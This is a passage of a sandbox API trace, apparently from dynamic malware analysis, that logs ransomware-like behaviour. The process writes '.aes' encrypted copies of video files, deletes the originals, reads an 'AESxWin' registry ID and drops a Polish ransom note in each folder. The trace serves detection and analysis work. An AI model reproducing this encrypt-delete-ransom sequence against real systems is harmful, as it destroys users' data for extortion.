| out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0094.378] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\xSTC7qezlhs _STE0B.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\xstc7qezlhs _ste0b.avi")) returned 1 [0094.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x60 [0094.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0094.378] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\LNVGgurmVCVr5ekCq-4\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\lnvggurmvcvr5ekcq-4\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf251c280, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xf251c280, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xf251c280, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0094.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0094.379] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0094.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf", lpFilePart=0x0) returned 0x52 [0094.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0094.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\4m2t-htfvxv73.swf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa82da380, ftCreationTime.dwHighDateTime=0x1d30149, ftLastAccessTime.dwLowDateTime=0xba3381d0, ftLastAccessTime.dwHighDateTime=0x1d2f7fd, ftLastWriteTime.dwLowDateTime=0xba3381d0, ftLastWriteTime.dwHighDateTime=0x1d2f7fd, nFileSizeHigh=0x0, nFileSizeLow=0xe074)) returned 1 [0094.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0094.427] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf", lpFilePart=0x0) returned 0x52 [0094.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0094.428] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\4m2t-htfvxv73.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0094.428] GetFileType (hFile=0x8e4) returned 0x1 [0094.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0094.428] GetFileType (hFile=0x8e4) returned 0x1 [0094.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf.aes", lpFilePart=0x0) returned 0x56 [0094.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0094.428] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\4m2t-htfvxv73.swf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0094.428] GetFileType (hFile=0x350) returned 0x1 [0094.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0094.428] GetFileType (hFile=0x350) returned 0x1 [0094.428] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0094.436] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0094.436] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0094.443] LocalFree (hMem=0x6ff3178) returned 0x0 [0094.443] GetAdaptersAddresses () returned 0x6f [0094.447] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0094.447] GetAdaptersAddresses () returned 0x0 [0094.452] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.458] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.458] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.514] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.514] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.520] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.520] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.526] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.527] LocalFree (hMem=0x7042020) returned 0x0 [0094.527] GetBestInterfaceEx (in: pDestAddr=0x29c13d8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0094.692] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\4M2T-htfvXV73.swf" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\4m2t-htfvxv73.swf")) returned 1 [0094.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0094.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0094.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0094.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0094.693] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x8e4) returned 0x0 [0094.693] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.693] RegQueryValueExW (in: hKey=0x8e4, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x298b3c0, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.693] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x5b [0094.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0094.693] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\WQHnOCgB21aCcC\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\wqhnocgb21accc\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x350 [0094.693] GetFileType (hFile=0x350) returned 0x1 [0094.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0094.694] GetFileType (hFile=0x350) returned 0x1 [0094.694] WriteFile (in: hFile=0x350, lpBuffer=0x2994410*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x2994410*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0094.694] CloseHandle (hObject=0x350) returned 1 [0094.695] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0094.719] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi", lpFilePart=0x0) returned 0x41 [0094.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0094.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\-vero sqdwv.avi"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96498aa0, ftCreationTime.dwHighDateTime=0x1d2f634, ftLastAccessTime.dwLowDateTime=0xf162a8a0, ftLastAccessTime.dwHighDateTime=0x1d30353, ftLastWriteTime.dwLowDateTime=0xf162a8a0, ftLastWriteTime.dwHighDateTime=0x1d30353, nFileSizeHigh=0x0, nFileSizeLow=0x161b7)) returned 1 [0094.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0094.720] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi", lpFilePart=0x0) returned 0x41 [0094.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0094.720] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\-vero sqdwv.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0094.721] GetFileType (hFile=0x350) returned 0x1 [0094.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0094.721] GetFileType (hFile=0x350) returned 0x1 [0094.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi.aes", lpFilePart=0x0) returned 0x45 [0094.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0094.721] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\-vero sqdwv.avi.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0094.721] GetFileType (hFile=0x544) returned 0x1 [0094.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0094.721] GetFileType (hFile=0x544) returned 0x1 [0094.721] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0094.739] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0094.739] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0094.746] LocalFree (hMem=0x6ff3178) returned 0x0 [0094.746] GetAdaptersAddresses () returned 0x6f [0094.750] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0094.750] GetAdaptersAddresses () returned 0x0 [0094.755] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.761] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.761] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.846] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.846] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0094.861] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0094.861] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0094.867] LocalFree (hMem=0x1c8ab8) returned 0x0 [0094.867] LocalFree (hMem=0x7042020) returned 0x0 [0094.867] GetBestInterfaceEx (in: pDestAddr=0x29b79a4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0094.985] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\-VerO sQDwv.avi" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\-vero sqdwv.avi")) returned 1 [0094.985] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4c [0094.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0094.986] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0094.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0094.986] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x350) returned 0x0 [0094.986] RegQueryValueExW (in: hKey=0x350, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.986] RegQueryValueExW (in: hKey=0x350, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x2991258, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0094.986] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4c [0094.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0094.986] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x544 [0094.986] GetFileType (hFile=0x544) returned 0x1 [0094.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0094.986] GetFileType (hFile=0x544) returned 0x1 [0094.986] WriteFile (in: hFile=0x544, lpBuffer=0x299a270*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x299a270*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0095.001] CloseHandle (hObject=0x544) returned 1 [0095.003] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0095.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv", lpFilePart=0x0) returned 0x41 [0095.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0095.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\trj26cc8jkp.flv"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e1760e0, ftCreationTime.dwHighDateTime=0x1d2fdf2, ftLastAccessTime.dwLowDateTime=0x2afb7e60, ftLastAccessTime.dwHighDateTime=0x1d2f6ee, ftLastWriteTime.dwLowDateTime=0x2afb7e60, ftLastWriteTime.dwHighDateTime=0x1d2f6ee, nFileSizeHigh=0x0, nFileSizeLow=0x13830)) returned 1 [0095.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0095.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv", lpFilePart=0x0) returned 0x41 [0095.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0095.035] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\trj26cc8jkp.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x544 [0095.035] GetFileType (hFile=0x544) returned 0x1 [0095.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0095.035] GetFileType (hFile=0x544) returned 0x1 [0095.035] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv.aes", lpFilePart=0x0) returned 0x45 [0095.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0095.035] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv.aes" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\trj26cc8jkp.flv.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0095.036] GetFileType (hFile=0x8e4) returned 0x1 [0095.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0095.036] GetFileType (hFile=0x8e4) returned 0x1 [0095.036] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0095.126] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6ff3178 [0095.126] GetNetworkParams (in: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6ff3178, pOutBufLen=0x77ce624) returned 0x0 [0095.133] LocalFree (hMem=0x6ff3178) returned 0x0 [0095.133] GetAdaptersAddresses () returned 0x6f [0095.138] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7042020 [0095.138] GetAdaptersAddresses () returned 0x0 [0095.143] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.149] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.149] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.160] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.161] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0095.233] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8ab8 [0095.233] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8ab8, pOutBufLen=0x77ce38c) returned 0x0 [0095.239] LocalFree (hMem=0x1c8ab8) returned 0x0 [0095.240] LocalFree (hMem=0x7042020) returned 0x0 [0095.240] GetBestInterfaceEx (in: pDestAddr=0x280c3ac*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0095.386] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\TRj26cC8jkp.flv" (normalized: "c:\\users\\kft6utqw\\videos\\extoa\\5rxjc 2tw9i2cmhdlv\\trj26cc8jkp.flv")) returned 1 [0095.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Videos\\extoA\\5rxjC 2TW9I2cmhDLv\\#$# JAK-ODZYSKAC-PLIKI.txt", 